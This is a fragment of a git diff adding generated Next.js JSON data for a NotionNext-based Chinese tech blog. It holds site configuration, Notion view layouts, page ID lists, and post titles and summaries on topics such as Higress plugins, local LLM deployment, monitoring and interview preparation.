c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},"next":{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},"recommendPosts":[{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240625-higress.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240625-higress.json new file mode 100644 index 000000000..eba6ee96a --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240625-higress.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=r